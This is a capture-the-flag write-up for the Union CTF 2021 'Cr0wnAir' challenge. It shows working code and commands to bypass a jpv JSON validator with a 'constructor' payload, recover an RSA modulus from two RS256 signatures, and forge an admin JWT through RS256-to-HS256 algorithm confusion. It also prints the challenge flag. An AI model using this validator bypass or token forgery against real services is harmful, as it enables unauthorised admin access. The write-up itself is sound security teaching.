Union CTF 2021: Cr0wnAir

Share on:

Overview

Writeup by: Nicolai Søborg

Cr0wnAir

TL;DR - bypassing a filter to generate two JWTs (RS256). Finding e and N from the two signatures and forge an arbitrary JWT (HS256).

Step 1: Getting two RS256 signatures

To get a signature we need to bypass a filter validated by jpv (“JSON Pattern Validator”).

This package has a lot of bypasses and should probably not be used for security sensitive stuff. We went with the following bypass:

{
	"firstName": "John",
	"lastName": "Doe",
	"passport": "123456789",
	"ffp": "CA01234567",
	"extras": {
		"sssr": {
			"sssr": "FQTU"
		},
		"constructor": {
			"name": "Array"
		}
	}
}

Using this we can now get two different tokens by changing ffp:

POST("http://34.105.202.19:3000/checkin", json={...})["token"]
# ...

Using this we now have jwt0 and jwt1:

jwt0 = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJicm9uemUiLCJmZnAiOiJDQTEyMzQ1NjcwIn0.qUyBBaVNyJ65S_BryJi-nNLgZv1grL9Pivn9OYZKkxMV3fnt6iXanNb9uJIqw2UaFHhQs0vg6LIHn95c42iKcgzUjukk71DmZSwGkbEbqDMIRN8IfNGCsiHcN6OTNhpj-gpNWTsLtGVLQpuAA6WnG1pizKb_WP2oihOD6t13_rE6n5Z8DA689D4EqWJB4jiwvd4WGl8Qlc1LWv4fU76zZHI8_x98FIsih0L1AC2SoPSMccDBPAs7MuF9TCSx10LajwQxMt1_zAIfEbLocJnfKLw4kiuJS6npU7xdMvcbWgsHaN5rMb_7dxVci-uMn3IIPHiL23PK0nBpYSe6U_uBOw"
jwt1 = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJicm9uemUiLCJmZnAiOiJDQTEyMzQ1NjcxIn0.d3j6-ipgFrOQWaOAhbBUYoa2H9zstPxQsFN63kaUPNinwY2ClvssctEfG3UqQXjBMz39cFgQj_kHyu6fTHj8OtToQ8ul1iav_TewhAov1uo6Sumsi6l6-Ubwtj_oe3-FZ0taol-YYihu8rPlVNvh4oAYwoptrwS6bR5Y1atT0Cd8fGLgyFfbrfLEIN7dfd2T3CUCVemgQ1Ydpuxyp_MteXCcbDx6QimMkzNU_DGU6KEBKft-gz1kZLGWwFtc5Pm523x3kHS31W3pCxyTE6kGEjcz45tvI9pwlWEblbMQhW5zJELLm8XHVrLbMBz6R_e-m4YpaGxgu7WICZelpbikaw"

To find N we want to calc: gcd(magic0, magic1) with magic being: pow(signature, e) - msg) for each of the JWTs. Even though the two ‘magic’ will be huge numbers, we can calculate the GCD of the two numbers quite fast.

In the PoC all numbers are wrapped in gmpy2.mpz(...) to speed-up things, but it isn’t needed.

from base64 import urlsafe_b64decode
from Crypto.Util.number import bytes_to_long, long_to_bytes
import gmpy2

def get_magic(jwt):
    header, payload, signature = jwt.split(".")

    raw_signature = urlsafe_b64decode(f"{signature}==")
    raw_signature_int = gmpy2.mpz(bytes_to_long(raw_signature))

    # In RS256 we sign the base64 encoded header and payload padded using PKCS1 v1.5:
    padded_msg = pkcs1_v1_5_encode(f"{header}.{payload}".encode(), len(raw_signature))
    padded_int = gmpy2.mpz(bytes_to_long(padded_msg))

    return gmpy2.mpz(pow(raw_signature_int, e) - padded_int)

I had a lot of trouble finding a implementation of pkcs1_v1_5_encode that uses SHA256, so here you go:

from hashlib import sha256

def pkcs1_v1_5_encode(msg: bytes, n_len: int):
    SHA256_Digest_Info = b'\x30\x31\x30\x0D\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20'
    T = SHA256_Digest_Info + sha256(msg).digest()
    PS = b'\xFF' * (n_len - len(T) - 3)
    return b'\x00\x01' + PS + b'\x00' + T

This takes about 100 seconds:

e = gmpy2.mpz(65537)

magic0 = get_magic(jwt0)
magic1 = get_magic(jwt1)
# ^ Check the number of digits: len(str(magic0)) == 40_392_410  :O

N = gmpy2.gcd(magic0, magic1)
# ^ This takes a minute or two

assert N != 1
print(hex(N))
# 0xc3995f664ac0cc18e5dae7f66c5e2ab96ccf6e613372c8d51b011e3eb8f7b5087681058cc3b1cebcd36a54c59bbb22b45585b293f109d885e4ad5f91ef2cf544e15fda0307e8c45c7556a4405d0c40955118e9b0008c62f98ed7ddfa3c1ec8c9573cc49385f2fa7593192fc5b8d496fa7d1c87cd67959ca4bab55c0ca4d2ef3c4f8ceb643acc1fca9a2a672109f14ca7df656059c67520ae020759bd65ad230cb537d288724f77b7194593faa9144a2687b4c4d58aaf02c5233395f142d404a6013d70184fbfadc52d4cfbd52a68747d33b6b2a12c090a76306cca93c2b5221c1dbee697aa03851887016daa8cc0a8e95c87d325221beebc04cbf8b737dcbc0b

Generating a public key (der/pem) from e and N

Save the following as def.asn1 (insert N):

# Start with a SEQUENCE
asn1=SEQUENCE:pubkeyinfo

# pubkeyinfo contains an algorithm identifier and the public key wrapped in a BIT STRING
[pubkeyinfo]
algorithm=SEQUENCE:rsa_alg
pubkey=BITWRAP,SEQUENCE:rsapubkey

# algorithm ID for RSA is just an OID and a NULL
[rsa_alg]
algorithm=OID:rsaEncryption
parameter=NULL

# Actual public key: modulus and exponent
[rsapubkey]
n=INTEGER:0xc3995f664ac0cc18e5dae7f66c5e2ab96ccf6e613372c8d51b011e3eb8f7b5087681058cc3b1cebcd36a54c59bbb22b45585b293f109d885e4ad5f91ef2cf544e15fda0307e8c45c7556a4405d0c40955118e9b0008c62f98ed7ddfa3c1ec8c9573cc49385f2fa7593192fc5b8d496fa7d1c87cd67959ca4bab55c0ca4d2ef3c4f8ceb643acc1fca9a2a672109f14ca7df656059c67520ae020759bd65ad230cb537d288724f77b7194593faa9144a2687b4c4d58aaf02c5233395f142d404a6013d70184fbfadc52d4cfbd52a68747d33b6b2a12c090a76306cca93c2b5221c1dbee697aa03851887016daa8cc0a8e95c87d325221beebc04cbf8b737dcbc0b

e=INTEGER:0x010001

Then run:

openssl asn1parse -genconf def.asn1 -out pubkey.der
openssl rsa -in pubkey.der -inform der -pubin -out pubkey.pem

And we get the public key in PEM format:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw5lfZkrAzBjl2uf2bF4q
uWzPbmEzcsjVGwEePrj3tQh2gQWMw7HOvNNqVMWbuyK0VYWyk/EJ2IXkrV+R7yz1
ROFf2gMH6MRcdVakQF0MQJVRGOmwAIxi+Y7X3fo8HsjJVzzEk4Xy+nWTGS/FuNSW
+n0ch81nlZykurVcDKTS7zxPjOtkOswfypoqZyEJ8Uyn32VgWcZ1IK4CB1m9Za0j
DLU30ohyT3e3GUWT+qkUSiaHtMTViq8CxSMzlfFC1ASmAT1wGE+/rcUtTPvVKmh0
fTO2sqEsCQp2MGzKk8K1IhwdvuaXqgOFGIcBbaqMwKjpXIfTJSIb7rwEy/i3N9y8
CwIDAQAB
-----END PUBLIC KEY-----

Signing a arbitrary JWT using a public key

Note: For this you need the PyJWT package in pip. There are two packages which allows import jwt.

JWT_HEADER="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9"  # b64({"typ":"JWT","alg":"HS256"})
PAYLOAD=$(echo -n '{"admin":true}' | base64 | tr -d "=")  # Any JWT payload
# Generate the signature:
echo -n "$JWT_HEADER.$PAYLOAD" | openssl dgst -sha256 -mac HMAC -macopt hexkey:$(cat pubkey.pem | xxd -p | tr -d '\n')
(stdin)= 63af5ca2408da191d7f75bbcc1c441ec23a4b291a61d2f6478777967b9682132

SIG=$(python3 -c 'from base64 import *; print(urlsafe_b64encode(bytes.fromhex("63af5c...2132")).decode().rstrip("="))')

echo "Forged JWT: $JWT_HEADER.$PAYLOAD.$SIG"

Forged JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6dHJ1ZX0.Y69cokCNoZHX91u8wcRB7COkspGmHS9keHd5Z7loITI

Post it to the flag endpoint and get: union{I_<3_JS0N_4nD_th1ngs_wr4pp3d_in_JS0N}